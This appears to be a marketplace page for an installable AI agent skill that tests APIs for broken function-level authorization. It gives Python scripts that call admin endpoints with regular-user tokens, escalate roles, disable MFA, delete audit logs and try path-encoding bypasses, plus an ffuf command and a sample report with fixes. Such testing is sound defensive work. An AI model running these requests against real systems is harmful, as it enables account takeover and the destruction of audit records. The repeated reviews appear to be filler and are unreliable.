Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionexploiting-broken-function-level-authorizationExecute the skills CLI command in your project's root directory to begin installation:
Fetches exploiting-broken-function-level-authorization from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate exploiting-broken-function-level-authorization. Access via /exploiting-broken-function-level-authorization in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | exploiting-broken-function-level-authorization |
| description | 'Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation. ' |
| domain | cybersecurity |
| subdomain | api-security |
| tags | - api-security - owasp - authorization - bfla - privilege-escalation - access-control |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
requests libraryimport requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}
# Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
# Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
# Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# Define roles and their expected access levels
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
# Endpoints with expected minimum role requirement
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"[email protected]","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA findings: {len(results)}")
# Test if authorization is method-dependent
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
# Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
# Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changed
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")
# Test if older or alternative API versions lack authorization
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
# Test path-based bypass techniques
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding
"/api/v1/./admin/users", # Path traversal
"/api/v1/admin/../admin/users", # Double path
"/api/v1/;/admin/users", # Semicolon insertion
"/api/v1/admin/users.json", # Extension addition
"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")
| Term | Definition |
|---|---|
| BFLA | Broken Function Level Authorization (OWASP API5:2023) - regular users can invoke administrative or privileged API functions without proper authorization checks |
| Vertical Privilege Escalation | Accessing functions or data restricted to a higher privilege level, such as regular user accessing admin endpoints |
| RBAC | Role-Based Access Control - authorization model where permissions are assigned to roles and roles are assigned to users |
| Function-Level Authorization | Access control checks that verify whether the authenticated user has permission to invoke a specific API function |
| Admin Endpoint | API endpoints intended only for administrative users, typically managing users, settings, audit logs, and system configuration |
| Forced Browsing | Directly accessing URLs that are not linked in the application but exist on the server, bypassing UI-level access restrictions |
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token"Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.
Approach:
/admin/, /manage/, and role-check conditionalsGET /api/v1/admin/users returns 200 with all user data (BFLA - read)PUT /api/v1/admin/users/1002/role accepts role change (BFLA - write)DELETE /api/v1/audit/logs returns 200 (BFLA - destructive)GET /api/v1/admin/settings returns 403, but PUT /api/v1/admin/settings returns 200DELETE /api/v1/admin/billing/api/v2/admin/users exists without any authorization (shadow API version)Pitfalls:
## Finding: Regular Users Can Access Admin User Management API
**ID**: API-BFLA-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API5:2023 - Broken Function Level Authorization
**Affected Endpoints**:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
**Description**:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
**Proof of Concept**:
1. Authenticate as regular user: POST /api/v1/auth/login
2. Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
3. Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
4. Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
**Impact**:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
**Remediation**:
1. Implement RBAC middleware that checks user role before executing any admin function
2. Apply authorization at the route/controller level, not just the frontend
3. Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
4. Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
5. Implement immutable audit logging that admin users cannot delete
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
Useful defaults in exploiting-broken-function-level-authorization — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Useful defaults in exploiting-broken-function-level-authorization — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
exploiting-broken-function-level-authorization is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Keeps context tight: exploiting-broken-function-level-authorization is the kind of skill you can hand to a new teammate without a long onboarding doc.
exploiting-broken-function-level-authorization has been reliable in day-to-day use. Documentation quality is above average for community skills.
exploiting-broken-function-level-authorization has been reliable in day-to-day use. Documentation quality is above average for community skills.
exploiting-broken-function-level-authorization reduced setup friction for our internal harness; good balance of opinion and flexibility.
Solid pick for teams standardizing on skills: exploiting-broken-function-level-authorization is focused, and the summary matches what you get after install.
Registry listing for exploiting-broken-function-level-authorization matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: exploiting-broken-function-level-authorization is focused, and the summary matches what you get after install.
showing 1-10 of 31